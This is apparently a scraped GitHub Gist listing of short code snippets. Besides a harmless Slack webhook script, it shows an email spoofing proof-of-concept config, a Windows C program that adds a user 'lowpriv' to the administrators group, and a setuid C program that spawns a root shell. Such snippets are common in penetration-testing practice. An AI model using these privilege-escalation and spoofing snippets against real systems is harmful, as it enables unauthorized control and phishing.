Skip to content

Instantly share code, notes, and snippets.


Trim Kadriu trimkadriu

View GitHub Profile
trimkadriu /
Last active Jan 18, 2021
Email Spoofing PoC
# Mail Server Config
mail_server_ip="" # Use free plan SMTP service on
mail_server_username="" # SMTP username
mail_server_password="" # SMTP password
mail_server_legit_email="" # The `from` value of SMTP Envelope (not what victim see)
# Email params config
trimkadriu /
Created Nov 27, 2020
Send Slack message with web-hooks on Python
import json
import requests
webhook_url = "" #Add the webhook here
slack_data = {"text": "This is a test message", "channel": "<channel-name> or <@person>"}
response =
webhook_url, data = json.dumps(slack_data),
headers={'Content-Type': 'application/json'}
trimkadriu / user-add.c
Created Nov 4, 2018
Add user PrivEsc Windows
View user-add.c
#include <stdlib.h>
int main ()
int i;
i=system ("net localgroup administrators lowpriv /add");
return 0;
trimkadriu / setuid.c
Created Nov 4, 2018
Set UID to root and bash
View setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (int argc, char *argv[])
setreuid(0, 0);
execve("/bin/sh", NULL, NULL);